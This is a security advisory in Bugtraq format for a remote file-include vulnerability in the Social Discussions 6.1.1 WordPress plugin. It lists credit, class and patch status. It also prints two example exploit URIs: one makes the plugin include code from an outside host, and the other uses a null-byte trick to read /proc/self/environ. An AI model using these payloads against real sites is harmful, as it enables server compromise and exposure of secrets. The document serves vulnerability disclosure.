Wordpress Social Discussions Plugin Remote File Include Vulnerability

Bugtraq ID:	56091
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 17 2012 12:00AM
Updated:	Oct 17 2012 12:00AM
Credit:	Janek Vind "waraxe"
Vulnerable:
Not Vulnerable:

Wordpress Social Discussions Plugin Remote File Include Vulnerability

The Social Discussions Plugin for WordPress is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Social Discussions 6.1.1 is vulnerable; other versions may also be affected.

Wordpress Social Discussions Plugin Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following example URIs are available:

http://www.example.com/wp-content/plugins/social-discussions/social-discussions-networkpub_ajax.php?HTTP_ENV_VARS[DOCUMENT_ROOT]=http://php.net/?

http://www.example.com/wp-content/plugins/social-discussions/social-discussions-networkpub_ajax.php?HTTP_ENV_VARS[DOCUMENT_ROOT]=/proc/self/environ%00z

Wordpress Social Discussions Plugin Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Wordpress Social Discussions Plugin Remote File Include Vulnerability

References:

• WordPress Homepage (WordPress)